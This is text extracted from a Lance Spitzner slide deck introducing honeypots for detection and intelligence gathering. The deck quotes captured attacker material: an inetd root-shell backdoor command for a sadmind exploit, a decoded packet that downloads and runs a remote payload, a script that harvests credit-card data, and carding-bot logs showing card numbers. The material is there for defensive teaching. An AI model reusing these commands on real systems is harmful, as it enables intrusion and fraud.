1 4lance Honeypo Basics 2.3

8/3/2019 1 4lance Honeypo Basics 2.3

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Honeypots - An Overview

By

Lance Spitzner


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Y

our Speaker

President, Honeypot Technologies Inc.

Founder, Honeynet Project & Moderator,

honeypot mailing list Author, Honeypots: Tracking Hackers & Co-

author, Know Your Enemy

Officer, Rapid Deployment Force Worked with CIA, NSA, FBI, DOJ, Presidents

Advisory Board, Army, Navy


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P

urpose

Overview ofhoneypots.


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Agenda

The Problem

Honeypots


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The Problem


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Th

e Attacker


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Initiative

Your network is a static target. The badguys can strike whenever they want,

wherever they want. They have theinitiative.

:jack :hehe come with yure ip i`ll add u to the new 40 bots

:jack :i owned and trojaned 40 servers of linux in 3 hours

:jack ::))))):jill :heh:jill :damn

:jack :heh

:jill :107 bots

:jack :yup


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Tool Use

:_pen :do u have the syntax for sadmind exploit:D1ck :lol

:D1ck :yes:_pen :what is it

:D1ck :./sparc -h hostname -c command -s sp [-o offset][-a alignment] [-p]

:_pen : what do i do for -c:D1ck :heh

:D1ck :u dont know?

:_pen :no:D1ck :"echo 'ingreslock stream tcp nowait root /bin/sh

sh -i' >> /tmp/bob ; /usr/sbin/inetd -s /tmp/bob"


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Anyone a target


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Not out for fun

J4ck: why don't you start charging for packet attacks?J4ck: "give me x amount and I'll take bla bla offline

for this amount of timeJ1LL: it was illegal last I checked

J4ck: heh, then everything you do is illegal. Why notmake money off of it?

J4ck: I know plenty of people that'd pay exorbatent

amounts for packeting


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Criminal Activity

04:55:16 COCO_JAA: !cc

04:55:23 {Chk}: 0,19(0 COCO_JAA 9)0 CC for U :4,1 Bob Johns|P. O. Box

126|Wendel, CA 25631|United States|510-863-4884|4407070000588951 06/05 (All

This ccs update everyday From My Hacked shopping Database - You must

regular come here for got all this ccs) 8*** 9(11 TraDecS Chk_Bot FoR #goldcard9)04:55:42 COCO_JAA: !cclimit 4407070000588951

04:55:46 {Chk}: 0,19(0 COCO_JAA 9)0 Limit for Ur MasterCard

(4407070000588951) : 0.881 $ (This Doesn't Mean Its Valid) 4*** 0(11 TraDecS

Chk_bot FoR #channel)

04:56:55 COCO_JAA: !cardablesite

04:57:22 COCO_JAA: !cardable electronics

04:57:27 {Chk}: 0,19(0 COCO_JAA 9)0 Site where you can card electronics :

*** 9(11 TraDecS Chk_bot FoR #goldcard9)04:58:09 COCO_JAA: !cclimit 4234294391131136

04:58:12 {Chk}: 0,19(0 COCO_JAA 9)0 Limit for Ur Visa (4264294291131136) :

9.697 $ (This Doesn't Mean Its Valid) 4*** 0(11 TraDecS Chk_bot FoR #channel)


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Honeypots


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Initiative

Honeypots allow you to take the initiative,they turn the tables on the bad guys.


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Honeypots

A honeypot is an information system

resource whose value lies in unauthorizedor illicit use of that resource.


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The Concept

System has no production value, noauthorized activity.

Any interaction with the honeypot is mostlikely malicious in intent.


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Flexible Tool

Honeypots do not solve a specific problem.Instead, they are a highly flexible tool with

different applications to security.


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Advantages

Collect small data sets ofhigh value, simple toanalyze and manage.

Vastly reduce false positives. Catch new attacks.

Work in encrypted or IPv6 environments.

Minimal resources.


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Disadvantages

Limited scope ofview

Risk


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Types of Honeypots

Low-interaction

High-interaction

Interaction measures the amount ofactivityan attacker can have with a honeypot.


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Low-Interaction

Emulates services and operating systems.

Easy to deploy, minimal risk

Captures limited information

Examples include Honeyd, Specter,

KFSensor


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High-interaction

Provide real operating systems andservices, no emulation.

Complex to deploy, greater risk.

Capture extensive information.

Examples include ManTrap andHoneynets.


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Honeypots: Detection


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Detection

Problem: Most detection technologiesgenerate thousands ofalerts a day, most

ofwhich are

false positives. Which do youfocus on, and how?

Low-interaction honeypots are used

primarily for detection.


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Detection - Honeypots

Collect very small data sets ofhigh value.

Vastly reduce false positives (ifnot

eliminating them).

Catch new attacks (false negatives).

Work in encrypted and IPv6 environments.

Deployed primarily on internal networks.


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Example - Honeyd honeypot

OpenSource honeypot developed by NielsProvos.

Production honeypot.

Emulates services and operating systems.


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How Honeyd works

Monitors unused IP space.

When it sees connection attempt,

assumes IP and interacts with attacks.

Can monitor literally millions of IP

addresses at the same time.


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Network with unused IPs


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Honeyd monitoring

unused IPs


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Emulated FTP Server

case $incmd_nocase in

QUIT* )

echo -e "221 Goodbye.\r"

exit 0;;SYST* )

echo -e "215 UNIX Type: L8\r"

;;

HELP* )

echo -e "214-The following commands are recognized (* =>'s unimplemented).\r"

echo -e " USER PORT STOR MSAM* RNTO NLST MKD CDUP\r"

echo -e " PASS PASV APPE MRSQ* ABOR SITE XMKD XCUP\r"

echo -e " ACCT* TYPE MLFL* MRCP* DELE SYST RMD STOU\r"echo -e " SMNT* STRU MAIL* ALLO CWD STAT XRMD SIZE\r"echo -e " REIN* MODE MSND* REST XCWD HELP PWD MDTM\r"

echo -e " QUIT RETR MSOM* RNFR LIST NOOP XPWD\r"

echo -e "214 Direct comments to ftp@$domain.\r"

;;

USER* )


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Advanced Features

Tarpitting

Spam RBL

Passive Fingerprinting

Dynamic Honeypots


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Bottom Line - Cost Effective

Detect any unauthorized activity onunused IP addresses.

Man hours reduced with small data setsand reduced false positives.

Hardware and Software, $1,000


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Honeypots: Information


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Intelligence Gathering

Problem: Sometimes detection is notenough.

High-interaction honeypots are uniquelyqualified to capture extensive amounts of

information.


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Honeypots

Honeypots collect small data sets, as suchthey can easily capture detailed

information, to include every packet and itsfull payload.


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Honeynets

Not a product, but an architecture.

An entire network ofsystems designed to

be compromised.

Deployed on both external and internalnetworks.


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GenII Honeynet


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Snort-inline

alert tcp $EXTERNAL_NET any -> $HOME_NET

53 (msg:"DNS EXPLOIT named";flags: A+;

content:"|CD80 E8D7 FFFFFF|/bin/sh";replace:"|0000 E8D7 FFFFFF|/ben/sh";)


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02/19-04:34:10.529350 206.123.208.5 -> 172.16.183.2PROTO011 TTL:237 TOS:0x0 ID:13784 IpLen:20 DgmLen:422

02 00 17 35 B7 37 BA 3D B5 38 BB F2 36 86 BD 48 ...5.7.=.8..6..H

D3 5D D9 62 EF 6B A2 F4 2B AE 3E C3 52 89 CD 57 .].b.k..+.>.R..W

DD 69 F2 6C E8 1F 8E 29 B4 3B 8C D2 18 61 A9 F6 .i.l...).;...a..

3B 84 CF 18 5D A5 EC 36 7B C4 15 64 B3 02 4B 91 ;...]..6{..d..K.

0E 94 1A 51 A6 DD 23 AE 32 B8 FF 7C 02 88 CD 58 ...Q..#.2..|...XD6 67 9E F0 27 A1 1C 53 99 24 A8 2F 66 B8 EF 7A .g..'..S.$./f..z

F2 7B B2 F6 85 12 A3 20 57 D4 5A E0 25 B0 2E BF .{..... W.Z.%...

F6 48 7F C4 0A 95 20 AA 26 AF 3C B8 EF 41 78 01 .H.... .&.


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starting decode of packet size 420

17 35 B7 37 BA 3D B5 38 BB F2 36 86 BD 48 D3 5D

local buf of size 420

00 07 6B 69 6C 6C 61 6C 6C 20 2D 39 20 74 74 73 ..killall -9 tts65 72 76 65 20 3B 20 6C 79 6E 78 20 2D 73 6F 75 erve ; lynx -sou

72 63 65 20 68 74 74 70 3A 2F 2F 31 39 32 2E 31 rce http://192.1

36 38 2E 31 30 33 2E 32 3A 38 38 38 32 2F 66 6F 68.103.2:8882/fo6F 20 3E 20 2F 74 6D 70 2F 66 6F 6F 2E 74 67 7A o > /tmp/foo.tgz

20 3B 20 63 64 20 2F 74 6D 70 20 3B 20 74 61 72 ; cd /tmp ; tar20 2D 78 76 7A 66 20 66 6F 6F 2E 74 67 7A 20 3B -xvzf foo.tgz ;

20 2E 2F 74 74 73 65 72 76 65 20 3B 20 72 6D 20 ./ttserve ; rm

2D 72 66 20 66 6F 6F 2E 74 67 7A 20 74 74 73 65 -rf foo.tgz ttse

72 76 65 3B 00 00 00 00 00 00 00 00 00 00 00 00 rve;............

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

BackdoorDecoded


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Motives

#!/bin/sh

echo " Caut carti de credit si incerc sa salvez in card.log"touch /dev/ida/.inet/card.log

egrep -ir 'mastercard|visa' /home|egrep -v cache >>card.log

egrep -ir 'mastercard|visa' /var|egrep -v cache >>card.log

egrep -ir 'mastercard|visa' /root|egrep -v cache >>card.log

if [ -d /www ]; then

egrep -ir 'mastercard|visa' /www >>card.log

fi


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Bottom Line - Information

Can collect indepth data no othertechnology can.


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Summary

Honeypots are not a solution, they are aflexible tool with different applications to

security.

Primary value in detection and information

gathering.

Just the beginning for honeypots.


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?


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Resources

Honeypot website

www.tracking-hackers.com

Honeypots maillist www.securityfocus.com/popups/forums/honeypots/faq.html


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Resources - Books

Know Your Enemy

www.honeynet.org/book/

Honeypots: Tracking Hackers www.tracking-hackers.com/book/


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http://www.honeypots.com

Lance Spitzner

1 4lance Honeypo Basics 2.3

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